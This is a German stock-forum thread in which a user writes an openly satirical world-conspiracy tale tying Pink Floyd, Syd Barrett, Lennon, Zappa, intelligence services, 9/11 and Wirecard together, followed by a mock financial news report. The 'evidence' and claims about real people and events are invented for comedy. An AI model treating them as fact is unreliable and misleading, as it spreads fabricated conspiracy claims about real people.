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    The Sofa Suite (Ein Thread für Weltverschwörer und Geschichtenerzähler aus dem Musikbereich) - 500 Beiträge pro Seite

    eröffnet am 30.03.16 11:21:09 von
    neuester Beitrag 30.12.23 11:34:06 von
    Beiträge: 371
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      schrieb am 30.03.16 11:21:09
      Beitrag Nr. 1 ()
      Dies ist eine kleine Idee, mal sehen, was daraus wird. Bitte vorerst noch nichts posten, bis ich erklärt habe, worum es geht
      8 Antworten
      Avatar
      schrieb am 30.03.16 12:56:40
      Beitrag Nr. 2 ()
      Antwort auf Beitrag Nr.: 52.081.637 von jigajig am 30.03.16 11:21:09Während meiner Beschäftigung mit Wirecard hatte ich immer das Problem, nie ausdrücklich schreiben zu können, was ich eigentlich andeuten wollte. In den letzten Wochen habe ich dabei einige lustige Dinge geschrieben, die zu 80% nicht veröffentlicht wurden.
      So etwas gehört auch zu meinen vielen Hobbies. Jetzt hatte ich heute früh beim Frühstück (das deshalb immer noch unberührt in der küche steht) folgende Idee: ich verfasse eine Geschichte über eine völlig absurde Weltverschwörungstheorie. Könnte lustig werden. wer eine Idee dazu hat, schreibt sie einfach dazu. Los geht's!
      (und bitte nicht nach Bezügen zur Realität suchen, das Projekt ist ein Witz und hat ausschließlich "literarische" Absichten)

      es folgt jetzt der Anfang, den hab ich mir in den letzten zwei, drei Stunden spontan ausgedacht, ist also noch nicht ausgefeilt.
      Ihr dürft Vorschläge m,achen, zB zu Musik, ich nehme es aber nur auf, wenns mir gefällt. Das ist mein baby :))
      7 Antworten
      Avatar
      schrieb am 30.03.16 13:09:29
      Beitrag Nr. 3 ()
      Antwort auf Beitrag Nr.: 52.082.504 von jigajig am 30.03.16 12:56:40
      Zitat von jigajig: . Jetzt hatte ich heute früh beim Frühstück (das deshalb immer noch unberührt in der küche steht) folgende Idee: ich verfasse eine Geschichte über eine völlig absurde Weltverschwörungstheorie. Könnte lustig werden. wer eine Idee dazu hat, schreibt sie einfach dazu. Los geht's!
      (und bitte nicht nach Bezügen zur Realität suchen, das Projekt ist ein Witz und hat ausschließlich "literarische" Absichten)


      Theorie : Wer ist älter? Der Osterhase oder der Weihnachtsmann.....................
      1 Antwort
      Avatar
      schrieb am 30.03.16 13:34:26
      Beitrag Nr. 4 ()
      Antwort auf Beitrag Nr.: 52.082.504 von jigajig am 30.03.16 12:56:40(ich möchte noch vorausschicken, dass ich manchmal hier Dinge schreibe, die sind total ironisch gemeint, zB das mit der Osterweiterung! Das sind eher Anspielungen auf übliche Verschwörungstheorien. Und eines noch: Dass ich mich hier in gewisser Weise über mich selbst lustig mache, ist mir klar. Das hat nichts zu bedeuten im Hinblick auf die Frage, ob ich an meine eigenen Weltverschöwrungstheorien glaube)


      Pink Floyd war eine kleine Band in England, die haben gruselige Musik gemacht. Sogar ein Musikprofessor hat das bestätigt. Dazu erschien 1989 ein Artikel, auf den ich im weiteren Verlauf sicher zurückkommen werde:
      Schon seit 1966 terrorisiert diese Band für den gedichteschreibenden Oberschüler alle Menschen guten Willens mit ihrer friedfertigen Langeweile. Sie ist deshalb verantwortlich zu machen für alles, was seit Mitte der sechziger Jahre an Verbrechen gegen die Menschlichkeit aufgekommen ist: alkoholfreies Bier, CD-Player, Botho Strauß, Goldkettchen mit Playboy-Logo, Lebenshilfe, Safer Sex, zuckerloser Zucker, Boss-Sakkos und Tiramisu aus der Packung. Was immer an schrecklich Neuem erfunden wurde, Pink Floyd ließ dazu die Computer-Musik zirpen.

      http://www.zeit.de/1989/26/kopfausfall-fuer-alle/komplettans…

      Willy Winkler war damals nahe dran an der Aufdeckung des Geheimnisses, aber er machte denselben Fehler, den manche machen, wenn sie mit viel Information zu einem Börsentitel konfrontiert werden: Er hat die Musik abgelehnt und die Geschichte geahnt, hat aber nicht genau hingehört. Sonst (der Artikel ist 1989 erschienen!) wäre uns einiges womöglich erspart geblieben oder anders herum: sonst wären entscheidende Dinge nie passiert! (Osterweiterung! 1990, Börsencrash 1991!)

      Aber zurück zur Geschichte: Obwohl die Band also offenbar weniger Substanz hatte als die Comroad AG und obwohl das den Musikexperten klar war, ging Pink Floyd ab wie die Wirecard. Obwohl das "musiktheoretisch" gar nicht denkbar war, wurden alle Bandmitglieder reich, alle außer einem: Syd Barrett.

      Der hat Drogen geschmissen ohne Ende und ist abgestürzt. Pech gehabt. Sein Problem war: Im LSD-Rausch hatte er eine Vision. Er behauptete während einer Session, dass in weniger als 50 Jahren 50 Menschen die halbe Welt gehören würde (er hat es falsch verstanden: „50 Menschen so viel wie der unteren Hälfte der Welt“). Das müsse man unbedingt verhindern und deshalb habe er etwas entwickelt, das man in ein Gerät integrieren muß, das telefonieren kann, Musik machen kann und gleichzeitig die Börsen weltweit beeinflussen kann, weil es mit allen Börsen gleichzeitig verbunden ist. (Er meinte damit ein Tablet oder ein Smartphone und wollte dieses wahrscheinlich mit einem Trojaner oder Virus beeinflussen).

      Die Bandmitglieder lachten ihn aus. Er hat sogar ein Lied geschrieben, in dem er seine Vision ganz klar skizzierte.
      Hört es Euch bitte an



      Stained(Anspielung auf dye stained banknotes, Sicherheit im Zahlungsverkehr!), glaucous, glycerine, gold, goat, clover
      Gold, local stocks, type, food, wild, national(Nationalbanken!), lake, flag,
      Valve, gyroscope, sect
      Heat, helium, lead, bare, state, invention, medieval
      Refraction, faction, ultra-action,
      Hunter, interest, bullet, market.
      [eine Beschreibung für Leerverkäufe! s.u.]
      Loads, liquids, neon, heater[Kursantreiber?], jaws, jungle
      Mains, signal, knives, kitchen(Gerüchteküche!)
      usw...
      You gamma, meeting
      Lighting, signal, island, coral-cold
      [? ein Treffen, das etwas mit Gamma zu tun hat, bei dem ein Applegerät eine Rolle spielt und irgendein Signal in Zusammenhang mit einer Insel mit Korallen, auf der es aber kalt ist? soíehe unten]


      Man muss nur die richtigen Fragen stellen, z.B.: warum schreibt ein Drogensüchtiger ein Lied, in dem er sinnlos Worte aneinanderreiht und erwähnt darin so viele börsenrelevante Begriffe? Manchmal sogar hintereinander?! "Hunter, interest, bullet, market..." bedeutet: "Die Aktienjäger auf dem Markt vertreten ihre Interessen und schießen Kugeln auf den Markt". Syd Barrett hat Zatarra und die Leerverkäufer vorausgesehen!

      Er hat es übrigens bei einer gemeinsamen Session in den Abbey Roads Studios John Lennon erzählt (für die Session gibt es öffentliche Belege!



      Das klingt wie ein Spaßlied einer Schülerband, aber das Ende ist der Hammer: es wird total geisterhaft und endet mit dem Schrei einer Frau ("what a shaaaame"!!!). Das beweist: Lennon glaubte ihm! Syd schenkte Lennon einen kleinen Kasten, einen Decoder, mit dem er "irgendwann einmal einen Brief übersetzen kann, den ich geschrieben habe, du musst ihn nur finden. Dann verstehst du alles" (das ist der Grund, warum Zatarra Zatarra heißt! Brief --> Graf von Monte Christo! In Wahrheit ist der Brief der songtext!)

      Lennon lachte und sagte "ich mache es genauso und verstecke ab jetzt lauter Hinweise in meinen Liedern, das wird klappen. Wir werden es verhindern und das ganze Geld fair verteilen!". (man beachte mal die Lyrics des Songs "Working Class Hero"!).

      Wenn sie euch rund zwanzig Jahre lang übervorteilt und verletzt haben,
      erwarten sie von euch, Karriere zu machen,
      obwohl ihr so voller Furcht eigentlich nicht funktionieren könnt.
      (...)
      Sie betäuben euch mit Religion, Sex und Fernsehen.
      Und ihr glaubt, ihr wärt so schlau und klassenlos und frei.
      Aber ihr seid immer noch verdammte Bäuerlein, so weit ich sehen kann.
      (...)
      Da ist Platz an der Spitze, sagen sie dir noch.
      Aber erst müsst ihr lernen, wie man beim Töten lächelt,
      wenn ihr so sein wollt, wie die da oben.


      Wie sich Lennon verändert hat seit seinem Treffen mit Syd Barrett, ist bekannt! (siehe google)

      Dieses Gerät, das Barrett Lennon übergab, sah aus wie ein Tape Recorder (und der funktionierte auch als Tape Recorder. Innen war u.a. ein Lightningstecker, wie beim Iphone. Damit konnte natürlich niemand etwas anfangen damals… Auch das wird in dem Lied von Barrett bereits angedeutet (die letzten Worte sind "Lighting, signal (sic!!!), island (Mauritius???), coral (dazu später mehr!)-cold (also eher eine Insel im Norden und doch nicht Mauritius?)").

      John Lennon hatte diesen Decoder immer dabei, man sieht ihn z.B. bei der berühmten "Bettsession" mit Yoko Ono.
      ).

      Dummerweise plauderte John Lennon die Geschichte aus und erzählte sie Yoko Ono. Das hatte eine ganze Reihe von Folgen, für Lennon selbst endete es tödlich (wie man weiß). Er wurde ermordet, just als eine völlig unbekannte Band ein Lied schrieb: „We know where Syd Barrett lives“ (siehe unten).

      Damals bei der Bettsession kam eine Agentin des israelischen Geheimdienstes, als Putzfrau verkleidet und bezirzte Yoko Ono, ihr das Gerät zu zeigen. Der israelische Geheimdienst hatte damals schon ein Gerät, mit dem man Dinge klonen konnte (eine Art 3D-Drucker, aber wesentlich besser als die heutigen) und hat den Taperecorder geklont. John Lennon wurde also völlig umsonst getötet! Nur wegen der Gier von ein paar Leuten! (dieselbe Putzfrau spielte später eine Rolle bei der Geschichte um Nina Wang, die reichste Frau Asiens, deren Mann plötzlich ve…(sic!). NIna Wang überschrieb ihr Vermögen u.a. einem Hausangestellten (möglicherweise stellvertretend für eine Putzfrau, die beim MOssad rausgeflogen war)

      Syd Barrett ist dann plötzlich für eine lange Zeit von der Bildfläche verschwunden. Er soll angeblich noch einmal aufgetaucht sein, als Pink Floyd die "Wish you were here" aufgenommen hat. 1981 kam plötzlich eine völlig unbekannte Band daher und veröffentlichte das Lied "I know where Syd Barrett lives". Das sorgte bei einigen Leuten für viel Unruhe. Das Problem war, dass man Syd Barrett nicht töten konnte, denn er war in Wahrheit ein Nachfahre der Außerirdischen von der Area 51! Dafür werde ich noch Beweise liefern!

      Hier das Lied:


      Sind Euch die Vögel aufgefallen? Bei Pink Floyd tauchen auch immer wieder Vögel auf. Sind das in Wahrheit verborgene Nachrichten?

      Das ist erst der Anfang der Geschichte. Es werden noch weitere Details folgen. Ich werde z.B. beweisen, dass ein 1991 aufgetauchter Virus in Wahrheit eine Botschaft war:
      Der Virus hieß "Little Pieces". Wer ihn hatte, sah plötzlich einen leeren Bildschirm mit der Botschaft "One of these days I'm going to cut you into little pieces", einer Anspielung auf einen Pink Floyd-Song. Ich werde beweisen, dass Pink Floyd, als sie einen berühmten Liveauftritt in den Ruinen von Pompeji hatten, „versehentlich“ ein historisches Gefäß zerstörten. Vielleicht war es aber auch Absicht? Denn als Pink Floyd wiedervereinigt wurde (warum eigentlich?) spielten sie ein Konzert in Venedig und dabei wurden ebenfalls historische Gebäude beschädigt. Der wahre Grund ist ganz einfach: Die Geheimbotschaft war schon viel länger bekannt, bei den Römern nämlich oder sogar noch länger! (Als Noah eine Taube schickte, angeblich, damit sie Land finden sollte, war das eine Brieftaube mit einer Nachricht! Durch die Sintflut wurde Noah alleiniger Geschäftsführer der „Earth AG“ – und wer war wohl der geheimnisvolle Inhaber im Hintergrund?)
      Die zufällig zerstörten Dinge wurden gar nicht zufällig zerstört, sondern sie enthielten Hinweise! Solche Hinweise wurden auch in Tempeln vermutet, die von Al Kaida zerstört wurden (in Wahrheit war das der amerikanische Geheimdienst!).

      Auch im World Trade Center gab es historische Gegenstände, die eine Rolle gespielt haben könnten! Kein Wunder, dass es zerstört werden musste. Die Verschwörungstheorien um 9/11 wurden absichtlich in Umlauf gebracht, um zu verhindern, dass jemand die Zusammenhänge erkennt! Denn es waren natürlich wirklich die Terroristen, die längst um das Geheimnis wussten. Hat Atta nicht in Hamburg studiert? Dort hat ihm angeblich eine Studentin das Geheimnis verraten, das diese wiederum von Alexander Falk wusste, weil der im Schlaf geredet hat. Und überhaupt Hamburg: Sitzt da nicht der Spiegel? Und wer hat beim Spiegel eine Hausdurchsuchung gemacht damals? Franz-Josef Strauß. Und was glaubt ihr, sollte in Wackersdorf wirklich gebaut werden? Und warum ist der Flughafen FJS ausgerechnet in der Nähe von Hallbergmoos? Und warum gibt es die „urban legend“, dass „Dark Side oft the moon“ in Wahrheit ein heimlicher soundtrack zu „Wizard of Oz“ ist? Und was genau ist das Geheimnis der „dunklen Seite des Mondes“, die die Amerikaner genau vermessen haben, während sie der Welt erzählten, dass Apollo 13 ein technisches Problem hatte? Und jetzt soll verhindert werden, dass die Chinesen dort landen? Warum? Und warum beginnt das Lied „Money“ von Pink Floyd ausgerechnet in dem Moment, in dem der Film von schwarz/weiß in Farbe wechselt? Was ist die Bedeutung dieses seltsamen Blechmannes? Ist das etwa ein Computer? Und warum ist auf „The Wall“ ein rückwärts abgespielter Text, in dem denjenigen, die es hören, gesagt wird, sie sollen wo anrufen, um etwas zu gewinnen? War das etwa ein Gag von demjenigen, der Gewinnspiele zur Geldmache über Mehrwertnummern erfunden hat?
      Und warum singt Frank Zappa in „The Sofa Suite“ einen völlig wirren deutschen Text? Ist mit „The Sofa Suite“ in Wahrheit das sagenumwobene Postfach auf den BVI gemeint? Oder das geheimnisvolle Postfach „666“ auf den Bermudas, das Google nutzt?
      Warum wird in „Per Anhalter durch die Galaxis“ ein Gerät beschrieben, das an ein Tablet mit Wikipedia drauf erinnert? Weil es das damals schon gab und es nur keiner wissen sollte? Warum heißt „Google“ Google?
      Usw usf

      warum hat Michael jackson die Rechte an den Beatlessongs gekauft?
      was hat der Tod von Michael Jackson zu bedeuten?
      welche Anspielungen finden sich in dem Lied "American Pie" von Don McLean?
      was hat Frank Zappa damit zu tun?
      was ist die Verbindung zu Elvis Presley? (Las Vegas --> Casino???)
      wie haben die Bilderberger die Charts beeinflußt? (ich meine die Billboard Charts, oder kann mir einer erzählen, dass Dark Side Of The Moon ohne Unterstützung den Weltrekord für …?)

      Ich werde lange brauchen, um die ganze Geschichte zu erzählen und vielleicht reicht meine Zeit nicht. Denn es ist nicht mehr viel Zeit! Genau an dem Tag, an dem 1 Mensch so viel besitzt, wie die untere Hälfte der Weltbevölkerung, wird es einen gewaltigen Schlag geben. Dann wird die „Dagobert Duck Holding“ offiziell an die Börse gehen. Ihr Kurs wird bereits am ersten Tag um 1337% steigen (1337=leet=Elite). Wie kann übrigens der Zeitpunkt hinausgezögert werden? Man könnte z.B. dafür sorgen, dass sich die untere Hälfte der Bevölkerung nicht mehr so schnell vergrößert. Das wäre aber moralisch extrem fragwürdig. Oder man schafft eine leichte Verteilung des Geldes nach unten. Was fällt einem da ein? Der kometenhafte Aufstieg einiger Jungunternehmer! Natürlich gibt es keine klaren Tendenzen, denn verschiedene Kräfte ziehen aus verschiedenen Gründen in verschiedene Richtungen. Aber ich bin überzeugt: Man muss versuchen, das Geheimnis einem großen Kreis von Menschen bekannt zu machen, bevor es zu spät ist!

      Stay tuned!

      jigajig
      1 Antwort
      Avatar
      schrieb am 30.03.16 13:41:35
      Beitrag Nr. 5 ()
      Antwort auf Beitrag Nr.: 52.082.654 von Hufeisenmagnet am 30.03.16 13:09:29
      Zitat von Hufeisenmagnet: Theorie : Wer ist älter? Der Osterhase oder der Weihnachtsmann.....................

      Jedenfalls wurde der Osterhase von einem Panzer überfahren!
      So hocken wir da unten und Traenen weinen wir,
      Traenen.
      Unsere Kleinen, da draussen,
      Verbrennen die Erde,
      Es kochen die Fluesse, es verdampfen die Meere,
      Oben am Himmel der kleine Baer, schlaeft auch nicht mehr.
      Ja, unsere Kleinen, unsere Kleinen haben uns den Krieg erklaert,
      Haben Dir, Mutter, mir, Vater, den Krieg erklaert,
      Weil im Raum Waldburg, an der Grenze,
      Hat dieser gottverdammte Panzer
      Diesen Osterhasen ueberrollt.

      (Ludwig Hirsch, "Die gottverdammte Pleite")

      Pleite? super, danke. das ist natürlich auch ein Hinweis!

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      Avatar
      schrieb am 30.03.16 18:45:24
      Beitrag Nr. 6 ()
      Antwort auf Beitrag Nr.: 52.082.834 von jigajig am 30.03.16 13:34:26
      Zitat von jigajig: Er hat es übrigens bei einer gemeinsamen Session in den Abbey Roads Studios John Lennon erzählt (für die Session gibt es öffentliche Belege!


      Ich wusste es! Eben rief jemand an, es könnte der Generalstaatsanwalt von Florida gewesen sein, oder der Chefredakteur vom "Rolling Stone", vielleicht war es auch der Geist von Kurt Cobain (falls es der war: ja, Kurt, ich weiß, du kommst schon noch in die Story!) und sagte:
      "Ist Dir eigentlich aufgefallen, dass das von Dir gepostete Video ein weiterer deutlicher Hinweis ist?". "Warum?, fragte ich", "na, das ist doch wohl Frank Zappa da an der Gitarre!"

      Ich fiel fast vom Stuhl! Natüüürlich. Wusste der etwa auch Bescheid?

      Dass es eine Verbindung gibt zwischen "The Sofa Suite" und der Theorie um den Iphone-Virus von Syd Barrett, das war ja klar (ich kam nur noch nicht dazu, sie zu erklären). Sonst würde sich ja auch apple nicht unter dem lächerlichen Vorwand, für seine Kunden die Daten schützen zu wollen, gegen den Iphone-Hack von US-Behörden wehren... (ich weise darauf hin, wie dramatisch sich die Situation geändert hat, weil die US-Behörden den Hack jetzt nicht mehr brauchen. Ist ja klar, warum apple jetzt wieder steigt! Genauso klar ist aber, dass dies u.U. bedeuten kann, dass es DOCH noch möglich sein könnte, den Plan von Syd Barrett, den ja (außer mir natürlich) keiner kennt, in die Tat umzusetzen, ohne irgendwie der Justiz der USA eine Story aufzutischen mit ein paar zusammengeklauten Belegen (aus dem Internet, oder aus einem heimlichen Versteck beim Grab von Jim Morrison am Pére Lachaise)).

      Ich habe ein wenig gegoogelt und tatsächlich etwas gefunden!
      hier
      Ich denke, das muß als Beweis reichen! Frank Zappa wusste nicht nur etwas davon, er war beteiligt!

      Und dann fällt es einem wie Schuppen von den Augen! Wie hieß die Band von Frank Zappa? Mothers of Invention!. Das würde aber bedeuten, dass es mehrere Erfinder gibt. Könnte es also sein, dass es noch mehrere Decoder gibt?

      Ich habe vergeblich versucht, die WIPO-Akten nach einer irgendwie passenden Erfindung zu durchsuchen. Aber was begegnete mir da? Na klar, die Wirecard schon wieder. Langsam nervt es, wie die sich in mein Hirn schrauben. Ein Hoppenrath als Gründer der Wirecard? So ein Schmarrn! Die Wirecard entstand doch aus dem reversed IPO mit der Infoge.... malefiz nochmal, meine Geschichte wollte ich doch erzählen...

      Mothers of Invention. Hmm. Also Barrett erfindet dieses Teil, der Mossad kopiert es, Lennon wird erschossen. Aber halt. Wenn er das Teil dabei hatte und es war eine exakte Kopie: Gibt es dann zwei davon oder war die Kopie (die bei Lennon blieb) nicht nutzbar? (das ist meine Vermutung). Dann wäre man wieder bei einem decoder. Alle meine Beweise deuten darauf hin, dass nur Barrett das Ding gebaut hat. Viellecht irre ich mich aber?

      Vielleicht muß ich mir das noch einmal anschauen und dabei weg gehen vom Decoder. Zappa sitzt doch auf so einem Bild auf der Toilette. Vielleicht ist das eine Lösung? Toilette = WC. WC wie... water closet oder wie... "who cares" oder wie...
      Könnte die Lösung mit einer Toilette zu tun haben? Oder könnte "who cares" gar nicht so gemeint sein, wie es üblich ist ("wen interessiert das?"), sondern ganz anders? Nämlich "wen interessiert das?".

      Bei der Toilettengeschichte ist mir etwas aufgefallen, das habe ich bisher nicht bemerkt: Ich dachte immer, es gibt dieses eine berühmte Bild mit Zappa auf dem Klo. Das stimmt nicht! Es gibt verschiedene Fassungen! Das könnte bedeuten, dass es irgendeine Fotografie gibt, auf der irgendjemand etwas erkannt hat, was ihn irgendwie darauf gebracht hat, dass Zappa auch so einen Decoder von Syd Barrett hatte. Ihr müsst zugeben: Das klingt plausibel, also wird es schon stimmen.

      Und kaum war meine Theorie geboren, fand ich schon einen Beweis. Ich habe dann kurz einen Kollegen beim isländischen Geheimdienst angerufen, ob er zufällig eine Akte über Zappa habe. Hatte er! Und er schickte mir ein Bild, streng vertraulich. Er erzählte mir dazu, dass es beim isländschen Geheimdienst vor Jahren eine Sondereinheit gab, deren Sinn keiner wirklich verstand.

      Sie bestand aus drei Gruppen von jeweils drei isländischen Topagenten und jeweils einem Beauftragten für Riskomanagement von insgesamt drei isländischen Banken. Damit waren 90% aller isländischen Topagenten an dem Fall beteiligt! Die einen drei Topagenten mussten über Wochen Lieder der Beatles hören. Sie haben es ganz gut überstanden, nur einer soll danach gesagt haben "Wer hat eigentlich die Rechte an den Beatlessongs? Den Kerl..." (an dieser Stelle schaltete leider die Aufzeichnung ab. Aber wer hatte die Rechte? Michael Jackson! Noch Fragen???). Der Bankenmann soll danach angeblich "zu einer deutschen Bank" gewechselt sein. Mehr konnte ich nicht herausfinden, weil sein LinkedIn-Profil leider ebenso verschwunden ist wie seine persönliche Webseite.

      Die beiden anderen Gruppen hat es aber übel erwischt! Eine Gruppe musste sich tagtäglich 10 Stunden lang Lieder aus dem Frühwerk von Syd Barrett anhören. Nach 7 Tagen wurde die komplette Gruppe mit Anzeichen von Wahnsinn in eine psychiatrische Klinik eingewiesen, dort sind sie bis heute stationär untergebracht. Einer habe ein Tourettesyndrom entwickelt. Und ratet, was der immer sagt, wenn er aufgeregt wird? "Cold Coral Signal Lighting"- die letzten vier Worte aus dem Barrettsong! Die andere Gruppe musste sich das eingangs verlinkte Video von "The Sofa Suite" von Frank Zappa anhören. Nach nur einem Tag rannte der Bankenbeauftragte aus dem Raum und sagte "Schickt mich irgendwohin, aber ich kann nicht mehr". Angeblich schickte ihn der isländische Geheimdienst auf eine Weltreise zusammen mit einem dänischen Geschäftsmann, der sich von seiner Untersuchungshaft in einem europäischen Gefängnis erholte. Näheres war nicht herauszufinden. Die drei Geheimagenten fielen bereits am nächsten Tag der Reihe nach um und sind seither im künstlichen Koma. Nur einer erwachte und soll dann angeblich als Spion in ein russisches Kernkraftwerk geschickt worden sein.

      Das heißt: der isländische Geheimdienst hat hier angeblich 60% seiner Topagenten verloren! Das war angeblich sogar Grund für eine Regierungskrise, weil kurz danach auf Island ein Treffen zweier Staatsmänner stattgefunden hat. Ich bin mir sicher, dass es das Treffen von Reagan mit Gorbatschow war! Dann muß das also alles 1986 passiert sein. 1986? Atomkraftwerk? Russland? Ist die Tschernobylkatastrophe also auch Teil dieser Geschichte? Und war das Geheimnis um den decoder vielleicht sogar der GRUND für das Treffen, in dem es "angeblich" um Abrüstung ging?

      Aber es wird noch besser: Hier ist das Beweisfoto, dass neben der Toilette ursprünglich etwas lag. Achtet auf die roten Kreise!


      Der wirkliche Hammer aber ist der Ordnername! Den habe ich zufällig bei wikileaks gefunden und er lautet:
      zappaasatargetforreanalysis. wenn man das ordnetlich schreibt, heißt es (und jetzt haltet Euch fest)
      ZA-ppa as a TAR-get for-R-e-A-nalysis

      - to be continued -

      (Achtung, dieser Thread ist in keinster Weise ernst gemeint!!!!!)
      Avatar
      schrieb am 10.04.16 14:49:51
      Beitrag Nr. 7 ()
      *** breaking news! ***

      Mönchsstadt/Bunnyhill (10.04.2016)

      Die kurz vor der Insolvenz stehende "Sofa Suite Holding AG" aus Mönchsstadt gab heute bekannt, dass ein privater Investor die Holding samt aller Tochterunternehmen zum symbolischen Preis von 1 indischen Rupie übernommen hat.

      Jig A. Jig, der CEO der "Sofa Suite Holding AG" erklärte im Gespräch mit den Analysten von Lugschloß, dass "der Fortbestand des Unternehmens damit gesichert" sei und "alle Arbeitsplätze damit erhalten werden können. Also sowohl der von mir, als auch meiner, als auch der, den ich habe".

      Der private Investor, der vorläufig unbekannt bleiben willl, erklärte in einer Telefonkonferenz mit den Analysten von "Monte Cristo Research", dass die "Sofa Suite Holding AG" auf jeden Fall erhalten bleiben soll. "Monte Cristo Research" veröffentlichte heute eine weitere Ergänzung zu ihren seit Wochen ungelesen Berichten über eine angebliche Verstrickung der SSH AG zu einer Reihe von Verschwörungstheorien und Geldwäscheveröffentlichungen (u.a. "Offwhore Licks", "British Virgin Islands Schmierzettel").

      Demnach sei die SSH AG auch in Veröffentlichungen von Donald Hui Gin zu Panamaischen Fantasiegeschichten verwickelt. Eurokus Beige-Schlammgrün, der CEO der "Jig A Jig Ltd", einem walisisches Tochterunternehmen der SHS, hat in einer Telefonkonferenz mit "Morgen & Hardy" erklärt, dass "alles vollkommen richtig beschrieben wurde" und dass "jede einzelne Behauptung in dem Bericht wahr ist". Dennoch fiel die Aktie der SSH im Basar von Kalkutta auf ein historisches Tief von 0,02 Rupien.

      "Die Geschäftsidee der SSH, eine verrückte Weltverschwörungstheorie zu veröffentlichen, war prinzipiell richtig, aber eine Weltverschwörungstheorie, die funktionieren soll, darf nicht so kompliziert formuliert werden und darf nicht zu viele Elemente enthalten, die viele Leute nicht kennen und verstehen", analysierte Baselweich Fürtsch. Wenn die SSH nun mit schwachen Geschäftszahlen auf den Markt komme, seien laut Fürtsch "Dausend Porzent möglich".

      An der Frankfürther Börse sorgte die Meldung der Übernahme für helle Aufregung. Der allseits anerkannte Experte für die Entwicklung von unterbewerteten Aktien aus dem Bereich "Lug&Trug", Roberto Don Sessa von der "Aktienschreck AG" veröffentlichte binnen 17 Minuten 5 neue Meldungen zur SSH:
      "Lügen zahlen sich nicht aus"
      "Nicht zu früh bereuen"
      "Nehmt das, ihr Pusher"
      "Eine unwichtige Nachricht, die zu viel beachtet wurde"
      "Zwischen Hölle Nord und Hölle Süd"

      Kritiker bemängeln, dass Roberto Don Sessa doch in so kurzer Zeit die erst heute von "Monte Cristo Research" veröffentlichte Studie zur weiteren Entwicklung der SSH gar nicht gelesen haben könne. Es wurde auch mit Verwunderung zur Kenntnis genommen, dass Herr Armert von Lugschloß bereits wenige Stunden nach der Veröffentlichung der neuen Geschäftszahlen diese ausführlich analysiert haben will und zu dem Urteil kommt: "Der Monte-Christo-Bericht ist vollkommen richtig und deshalb bleibe ich in Bezug auf die SSH bei unserer Bewertung 'strongest possible sell'"

      Die britische Finanzbloggerin Daniela Krumm schrieb heute in ihrem Blog Betadorf, dass sie nicht nachvollziehen könne, wie jemand 1 Rupie zahlen kann für ein Unternehmen, das laut heutigem Schlußkurs vom Basar in Kalkutta nur mit 0,14 Rupien bewertet werde (7 Aktien á 0,02 Rupien). Sie bleibe bei ihrer Auffassung, dass der Kurs der SSH künstlich gedrückt werde von den Verkäufern von Kurzgeschichten ("short story sellers").

      Die "Sofa Suite Holding AG" kündigte daraufhin an, notfalls alle Linksmittel auszuschöpfen, um gegen diese seriöse Berichterstattung vorzugehen. "Mit seinen korrekten und auf nachprüfbaren Fakten beruhenden Aussagen gefährden Monte Cristo und Daniela Krumm unsere Geschäftsgrundlage und das Misstrauen gegenüber unseren Produkten, auf das wir angewiesen sind".

      Aufgrund der unüberschaubaren Masse an belegbaren Fakten empfehlen fast alle Banken und Analysten Kleinaktionären, derzeit nicht in die Sofa Suite Holding AG zu investieren: "Wir erwarten, dass der Kurs der SSH AG demnächst stark ansteigen wird und wollen nicht, dass Kleinaktionäre daran partizipieren", meinte ein Sprecher der Investmentbank "Morgen & Hardy" in einer Mail, die im Zusammenhang mit einem Hack bei der panamaischen Agentur für Fantasy Stories M&F an die Öffentlichkeit kam. Die Mail liegt derzeit aber beim Münchner "Verlag für anspruchsvolle Verschwörungstheorien" unter Verschluß.

      Weitere öffentliche Kommentare gab es von keiner Seite. Offshore the record teilte uns ein Frankfürther Händler mit: "Die Sofa Suite Holding AG ist eine besondere Gesellschaft, da ihr Geschäftsfeld, Weltverschwörungstheorien, sehr komplex ist. Natürlich ist die Firma für uns ein offenes Buch, aber wir tun lieber so, als sei es ein Buch mit ca. 11 Siegeln, damit keiner merkt, dass die Firma in Wahrheit ein Juwel ist. Das musste auf jeden Fall geheim gehalten werden im Interesse des unbekannten Investors, der ja nicht mehr als 1 Rupie investieren konnte. Der hat jetzt für 1 Rupie die beste Firma auf dem Gebiet Weltverschwörungstheorien&Quatsch ergattert. Und wenn die SHS AG jetzt auch noch ihr Geschäftsfeld erweitert und mit Luftschlössern handelt, geht es richtig ab. Die Investitionen in Schwellenländern wie Afrika (Kauf der "African Myths & Legends") und insbesondere in Indien ("India Unlimited Stories Limited") sind ja erst der Anfang! In Nordamerika wird es bald auch Akquisitionen geben oder einen Merger, möglicherweise sogar mit einem Big Player der Fantasieerzählungen. Nicht umsonst hat Monte Cristo Reserach unlängst darauf hingewiesen, dass der Autor des Buches "The Best American Science Fiction and Fantasy 2015" laut seinem RechtsOut-Profil "früher seelenverwandt mit Jig A. Jig gewesen sein soll".

      Der angebliche Großinvestor in Bunnyhill, bei der sich laut Insidern "eigentlich nur um die WD Inc handeln kann", war zu keinem Kommentar bereit.

      stay tuned
      1 Antwort
      Avatar
      schrieb am 10.04.16 15:22:03
      Beitrag Nr. 8 ()
      Das wird Ammersonn ganz und gar nicht schmecken…

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      http://www.aktienschreck.in/kolumnen/Artikel-_Nehmt_ihr_push…
      1 Antwort
      Avatar
      schrieb am 10.04.16 16:04:02
      Beitrag Nr. 9 ()
      Antwort auf Beitrag Nr.: 52.082.504 von jigajig am 30.03.16 12:56:40Warum deutest du an? Kannst doch sagen, was du meinst. :confused:
      2 Antworten
      Avatar
      schrieb am 10.04.16 20:58:13
      Beitrag Nr. 10 ()
      Antwort auf Beitrag Nr.: 52.156.879 von Wilmentrudis am 10.04.16 16:04:02
      Zitat von Wilmentrudis: Warum deutest du an? Kannst doch sagen, was du meinst. :confused:

      längst passiert. Der Sofathread ist mein Privatvergnügen. Ich find's gar nicht soooo schlecht, rein literarisch ;)
      1 Antwort
      Avatar
      schrieb am 11.04.16 09:23:10
      Beitrag Nr. 11 ()
      Antwort auf Beitrag Nr.: 52.157.848 von jigajig am 10.04.16 20:58:13Klar. Seit Günter Grass hier postet. :)
      Avatar
      schrieb am 15.04.16 18:49:02
      Beitrag Nr. 12 ()
      Was haben Textilien mit Sex zu tun?

      Also ich will ja nicht ins Detail gehen, aber ich bevorzuge textilfreien Sex. Aber gut, es geht ja nicht um mich.

      Und ich schreibe hier jetzt einen offtopic-Beitrag. Denn es geht in diesem Beitrag um die Wirecard.

      Na egal, liest ja eh keiner :)

